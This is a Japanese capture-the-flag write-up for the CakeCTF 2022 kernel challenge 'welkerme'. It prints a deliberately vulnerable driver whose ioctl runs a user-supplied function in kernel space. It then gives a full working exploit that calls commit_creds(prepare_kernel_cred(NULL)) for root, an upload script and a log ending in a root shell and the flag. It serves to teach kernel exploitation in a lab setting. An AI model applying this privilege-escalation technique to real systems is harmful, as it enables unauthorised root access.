Source: CakeCTF 2022
Author: ptr-yudai
kernelのwarmup問。問題ファイルと一緒にヒントが書かれたREADMEが配布されている。exploitのテンプレートまである。いたれり尽くせり。
問題サーバーのコードのみ載せる。
driver.c
#include <linux/cdev.h>
#include <linux/fs.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/random.h>
#include <linux/slab.h>
#include <linux/uaccess.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("welkerme - CakeCTF 2022");
#define DEVICE_NAME "welkerme"
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002
static int module_open(struct inode *inode, struct file *filp) {
printk("'module_open' called\n");
return 0;
}
static int module_close(struct inode *inode, struct file *filp) {
printk("'module_close' called\n");
return 0;
}
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
long (*code)(void);
printk("'module_ioctl' called with cmd=0x%08x\n", cmd);
switch (cmd) {
case CMD_ECHO:
printk("CMD_ECHO: arg=0x%016lx\n", arg);
return arg;
case CMD_EXEC:
printk("CMD_EXEC: arg=0x%016lx\n", arg);
code = (long (*)(void))(arg);
return code();
default:
return -EINVAL;
}
}
static struct file_operations module_fops = {
.owner = THIS_MODULE,
.open = module_open,
.release = module_close,
.unlocked_ioctl = module_ioctl
};
static dev_t dev_id;
static struct cdev c_dev;
static int __init module_initialize(void)
{
if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
return -EBUSY;
cdev_init(&c_dev, &module_fops);
c_dev.owner = THIS_MODULE;
if (cdev_add(&c_dev, dev_id, 1)) {
unregister_chrdev_region(dev_id, 1);
return -EBUSY;
}
return 0;
}
static void __exit module_cleanup(void)
{
cdev_del(&c_dev);
unregister_chrdev_region(dev_id, 1);
}
module_init(module_initialize);
module_exit(module_cleanup);
READMEを読む。
## エクスプロイトの開発
このOSは脆弱なカーネルモジュールを実行しています。
[ welkerme - CakeCTF 2022 ]
/ $ lsmod
Module Size Used by Tainted: G
driver 16384 0
ソースコードは`src/driver.c`に書かれています。
`module_ioctl`をチェックすると良いかも...?
`exploit.c`を改造してエクスプロイトを完成させてください。
module_ioctl
の実装を確認すると、与えられた関数をカーネル空間でそのまま実行している。
static long module_ioctl(struct file *filp,
unsigned int cmd,
unsigned long arg) {
long (*code)(void);
printk("'module_ioctl' called with cmd=0x%08x\n", cmd);
switch (cmd) {
case CMD_ECHO:
printk("CMD_ECHO: arg=0x%016lx\n", arg);
return arg;
case CMD_EXEC:
printk("CMD_EXEC: arg=0x%016lx\n", arg);
code = (long (*)(void))(arg);
return code();
default:
return -EINVAL;
}
}
ヒントも書いてある。
## ヒント
`exploit.c`の関数`func`は、`CMD_EXEC`によってカーネル空間で実行されています。
基本的に、権限昇格のためにカーネル空間で次のコードを実行させたいです。
commit_creds(prepare_kernel_cred(NULL));
`prepare_kernel_cred(NULL)`はもっとも高い権限で新しい認証情報を作成します。
`commit_creds(cred)`は認証情報を呼び出し元プロセスに設定します。
各関数のアドレスは`/proc/kallsync`に記載されています。(デバッグモードを使用してください)
/ # grep commit_creds /proc/kallsyms
ffffffff81072540 T commit_creds
頑張ってください。
commit_creds(prepare_kernel_cred(NULL));
を実行できれば良さそう。これで権限昇格できる仕組みはこのサイトが分かりやすかった。
commit_creds
とprepare_kernel_cred
関数のアドレスを知りたい。本番環境だとpermission deniedで弾かれるが、ヒントの通りdebug環境で試してみると確認することができた。この問題ではKASLRが無効になっているので本番環境とdebug環境のアドレスは同じになる。
/ # grep commit_creds /proc/kallsyms
ffffffff81072540 T commit_creds
/ # grep prepare_kernel_cred /proc/kallsyms
ffffffff810726e0 T prepare_kernel_cred
これらの関数をexploitテンプレートへ書き足して実行する。
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#define CMD_ECHO 0xc0de0001
#define CMD_EXEC 0xc0de0002
int func(void) {
// ここから追加
void (*commit_creds)(void *) = (void (*)(void *))0xffffffff81072540;
void *(*prepare_kernel_cred)(void *) = (void *(*)(void *))0xffffffff810726e0;
commit_creds(prepare_kernel_cred(NULL));
// ここまで追加
return 31337;
}
int main(void) {
int fd, ret;
if ((fd = open("/dev/welkerme", O_RDWR)) < 0) {
perror("/dev/welkerme");
exit(1);
}
ret = ioctl(fd, CMD_ECHO, 12345);
printf("CMD_ECHO(12345) --> %d\n", ret);
ret = ioctl(fd, CMD_EXEC, (long)func);
printf("CMD_EXEC(func) --> %d\n", ret);
// ここから追加
system("/bin/sh");
// ここまで追加
close(fd);
return 0;
}
あとはリモートで実行するだけだが、アップローダーが落ちていたりファイズサイズ上限に引っかかったりで使えなかったのでbase64変換して転送するスクリプトを書いた。
from pwn import *
import base64
# context.log_level = 'debug'
def run(cmd):
conn.sendlineafter(b'$ ', cmd)
conn.recvline()
with open("./exploit", "rb") as f:
payload = base64.b64encode(f.read())
print(payload)
conn = remote("34.170.146.252", 40925)
run(b'cd /tmp')
for i in range(0, len(payload), 512):
print(f"Uploading... {i:x} / {len(payload):x}")
tmp_payload = b'echo -n "' + payload[i:i+512] + b'" >> exploit.b64'
run(tmp_payload)
run(b'base64 -d exploit.b64 > exploit')
run(b'chmod +x exploit')
conn.interactive()
転送にかなり時間がかかったが、シェルを奪った後cat /root/flag.txt
でflagが得られた。
Uploading... 129e00 / 129eac
[*] Switching to interactive mode
/tmp $ $ ls
ls
exploit exploit.b64 messages resolv.conf
/tmp $ $ ./exploit
./exploit
CMD_ECHO(12345) --> 12345
CMD_EXEC(func) --> 31337
/tmp # $ cat /root/flag.txt
cat /root/flag.txt
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}
CakeCTF{b4s1cs_0f_pr1v1l3g3_3sc4l4t10n!!}